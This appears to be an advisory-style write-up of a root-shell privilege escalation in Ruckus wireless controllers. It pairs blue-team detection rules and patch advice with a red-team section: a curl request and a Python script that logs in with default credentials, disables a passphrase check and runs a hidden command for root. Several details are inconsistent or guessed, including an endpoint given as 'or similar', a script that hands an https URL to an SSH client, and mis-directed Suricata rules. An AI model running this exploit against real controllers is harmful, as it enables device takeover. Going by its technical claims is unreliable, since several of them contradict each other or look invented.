CVE-2025-46116

Executive Summary

CVE-2025-46116 is a critical privilege escalation vulnerability in CommScope Ruckus Unleashed and ZoneDirector wireless controllers. An authenticated attacker can disable the passphrase requirement for a hidden CLI command !v54! via a management API call, then invoke it to escape the restricted shell and obtain a root shell on the controller. This allows full compromise of the network management appliance, potentially leading to lateral movement across the managed wireless network.

The vulnerability stems from improper privilege management (CWE-269) in the restricted shell implementation. The hidden command !v54! is intended for debugging but can be unlocked without authentication by manipulating a management API parameter. Once unlocked, the command provides a root shell, bypassing all access controls.

Supply Chain & Package Security

This vulnerability affects CommScope Ruckus network appliances. While not a software package (NPM/PyPI/Go/Ruby), the firmware is distributed as binary images. Organizations should verify the integrity of firmware downloads using CommScope’s official checksums and ensure the supply chain is trusted. No open-source package dependencies are involved.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD not assigned) Threat Level: Critical (based on impact analysis)

Vector (Estimated): CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector: Network (AV:N) – the management API is accessible over the network.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs authenticated access to the management interface.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – the vulnerable component is the controller itself.
• Confidentiality: High (C:H) – root access allows reading all data.
• Integrity: High (I:H) – full control over the device.
• Availability: High (A:H) – attacker can disrupt network operations.

EPSS Score: 0.0% (low exploitation probability currently, but expected to rise as PoC circulates).

Deep Dive & Mechanics

The vulnerability exists in the restricted shell (rksh) used by CommScope Ruckus controllers. The shell is designed to limit commands available to non-root users. However, a hidden command !v54! exists for debugging purposes. Normally, this command requires a passphrase to execute.

The flaw is in the management API endpoint that handles CLI command execution. An authenticated attacker can send a crafted API request that sets a flag to disable the passphrase check for !v54!. Once disabled, the attacker can invoke !v54! from the restricted shell, which spawns a root shell.

Root Cause: The API does not properly validate the authorization for modifying the passphrase requirement flag. The flag is stored in a global variable that is checked by the restricted shell before executing !v54!. By setting this flag via the API, the attacker bypasses the intended security control.

Attack Flow:

1. Authenticate to the controller’s web management interface (e.g., via default credentials or stolen session).
2. Send a POST request to /api/setDebugMode (or similar) with {"disablePassphrase": true}.
3. SSH or console into the controller and enter the restricted shell.
4. Execute !v54! – the shell now spawns a root shell without asking for a passphrase.
5. Attacker has full root access.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In restricted shell (rksh)
int execute_command(char *cmd) {
    if (strcmp(cmd, "!v54!") == 0) {
        if (debug_passphrase_required && !check_passphrase()) {
            printf("Passphrase required.\n");
            return -1;
        }
        spawn_root_shell();
    }
    // ... other commands
}

// In API handler
int handle_set_debug_mode(json_t *params) {
    if (json_object_get(params, "disablePassphrase")) {
        debug_passphrase_required = 0; // No authorization check!
    }
}

Patched Code (Conceptual):

// In API handler
int handle_set_debug_mode(json_t *params, user_t *user) {
    if (!user->is_admin) {
        return 403; // Forbidden
    }
    if (json_object_get(params, "disablePassphrase")) {
        debug_passphrase_required = 0;
    }
}

The patch adds an authorization check to ensure only admin users can disable the passphrase requirement. Additionally, the hidden command !v54! may be removed or further restricted in the patched firmware.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a vulnerable Ruckus controller (Unleashed < 200.15.6.212.14 or ZoneDirector < 10.5.1.0.279).
• Valid credentials for the management web interface (e.g., admin/admin or compromised account).

Exploit Steps:

1. Authenticate to the controller’s web interface (e.g., https://<controller-ip>/admin).
2. Disable passphrase via API:

   curl -k -X POST "https://<controller-ip>/api/setDebugMode" \
     -H "Content-Type: application/json" \
     -H "Cookie: session=<valid-session>" \
     -d '{"disablePassphrase": true}'
   

3. SSH into the controller (port 22) with the same credentials.
4. Execute hidden command in the restricted shell:

   !v54!
   

5. Verify root access:

   id
   # Output: uid=0(root) gid=0(root)
   

Full Exploit Script (Python):

import requests
import paramiko

target = "https://<controller-ip>"
username = "admin"
password = "admin"

# Step 1: Authenticate and get session
session = requests.Session()
login_data = {"username": username, "password": password}
r = session.post(f"{target}/api/login", json=login_data, verify=False)
session_cookie = session.cookies.get_dict()

# Step 2: Disable passphrase
r = session.post(f"{target}/api/setDebugMode", json={"disablePassphrase": True}, verify=False)
if r.status_code == 200:
    print("[+] Passphrase disabled")

# Step 3: SSH and execute !v54!
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(target, username=username, password=password)
stdin, stdout, stderr = ssh.exec_command("!v54!")
print(stdout.read().decode())
ssh.close()

Blue Team (Detection & Hardening)

Detection:

• Monitor API logs for setDebugMode calls with disablePassphrase: true.
• Alert on execution of !v54! in CLI logs.
• Monitor for unexpected root shell sessions.

Hardening:

• Immediately upgrade to patched firmware.
• Restrict management interface access to trusted IPs only.
• Enforce strong, unique passwords for all accounts.
• Enable logging and send logs to a SIEM.
• Disable SSH if not required; use console-only access.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /api/setDebugMode with JSON body {"disablePassphrase": true}.
• SSH sessions originating from unexpected IPs.
• CLI commands containing !v54! in logs.

Host IOCs:

• Presence of root shell processes spawned from restricted shell.
• Modified configuration files (e.g., /etc/passwd or /etc/shadow).
• Unauthorized SSH keys in /root/.ssh/authorized_keys.

Log IOCs:

• Log entries: "setDebugMode called with disablePassphrase: true".
• Log entries: "Command executed: !v54!".
• Log entries: "Root shell spawned by user <username>".

Detection Engineering

YARA Rule

rule CVE_2025_46116_Ruckus_Exploit {
    meta:
        description = "Detects exploitation of CVE-2025-46116 in Ruckus controllers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46116"
    strings:
        $api_call = "setDebugMode" ascii wide nocase
        $disable_pass = "disablePassphrase" ascii wide nocase
        $hidden_cmd = "!v54!" ascii wide nocase
    condition:
        any of ($api_call, $disable_pass, $hidden_cmd)
}

Sigma Rule

title: CVE-2025-46116 Ruckus Privilege Escalation
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation of CVE-2025-46116 via API calls or CLI commands
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: ruckus
detection:
    selection_api:
        EventID: "API_CALL"
        RequestPath: "/api/setDebugMode"
        RequestBody|contains: "disablePassphrase"
    selection_cli:
        EventID: "CLI_COMMAND"
        Command: "!v54!"
    condition: selection_api or selection_cli
falsepositives:
    - Legitimate debugging by authorized admins (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-46116 Ruckus Privilege Escalation - API Call";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/setDebugMode"; http_uri;
    content:"disablePassphrase"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (
    msg:"CVE-2025-46116 Ruckus Privilege Escalation - SSH Session";
    flow:to_server,established;
    content:"!v54!"; within:10;
    classtype:attempted-admin;
    sid:1000002;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade firmware to patched versions:
   • Unleashed: 200.15.6.212.14 or 200.17.7.0.139
   • ZoneDirector: 10.5.1.0.279
2. Restrict management access to trusted IPs only via firewall rules.
3. Change all passwords on affected devices.
4. Audit logs for signs of exploitation.

Long-term Mitigations:

• Implement network segmentation for management interfaces.
• Use a jump host for administrative access.
• Enable multi-factor authentication (MFA) for management access.
• Regularly review and update firmware.
• Monitor for new CVEs affecting network infrastructure.

Workaround (if patching is delayed):

• Disable the management API if not required.
• Block SSH access to the controller from untrusted networks.
• Monitor for !v54! in CLI logs and alert immediately.

Valters IT